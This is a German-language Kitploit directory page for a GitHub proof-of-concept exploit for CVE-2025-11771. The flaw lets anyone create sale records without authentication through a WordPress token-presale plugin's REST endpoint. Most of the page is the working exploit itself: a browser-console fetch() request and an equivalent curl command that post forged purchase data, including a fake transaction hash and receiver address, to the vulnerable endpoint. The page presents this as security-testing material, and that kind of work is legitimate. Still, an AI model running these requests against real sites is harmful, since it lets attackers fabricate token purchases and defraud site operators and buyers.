Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-11771 — Proof-of-Concept-Exploit für CVE-2025-11771, der die Erstellung von nicht authentifizierten Verkaufsdatensätzen über einen WordPress-REST-API-Endpunkt demonstriert, mit Browser-Konsole- und curl-Beispielen für Sicherheitstests. | Kitploit
Tools/GitHubGitHub/jfriedli/cve-2025-11771
SchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstests
GitHubjfriedli/cve-2025-11771

CVE-2025-11771

Proof-of-Concept-Exploit für CVE-2025-11771, der die Erstellung von nicht authentifizierten Verkaufsdatensätzen über einen WordPress-REST-API-Endpunkt demonstriert, mit Browser-Konsole- und curl-Beispielen für Sicherheitstests.

Repository anzeigen
3vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Exploit: Unauthentisierte Verkaufserfassung erstellen

Browser-Konsole

root@kitploit:~
fetch('http://localhost/wordpress/wp-json/tokenico/create-sale-record', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: new URLSearchParams({
    networkId: "137",
    presaleKey: "TESTKEY1234",
    createdAt: String(Date.now()),
    tokenAmount: "1000",
    nativeCurrency: "MATIC",
    purchaseAmount: "777",
    transactionHash: "evil-" + Date.now(),
    transactionUrl: "https://example.org/tx/" + Date.now(),
    receiverAddress: "0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef",
    receiverAddressUrl: "https://example.org/address/0xdead"
  })
}).then(r => r.text()).then(console.log);

curl

root@kitploit:~
curl -s -X POST 'http://localhost/wordpress/wp-json/tokenico/create-sale-record' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data 'networkId=137&presaleKey=TESTKEY1234&createdAt=1724246400000&tokenAmount=1000&nativeCurrency=MATIC&purchaseAmount=777&transactionHash=evil-1724246400000&transactionUrl=https://example.org/tx/evil-1724246400000&receiverAddress=0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef&receiverAddressUrl=https://example.org/address/0xdead'
Tool herunterladen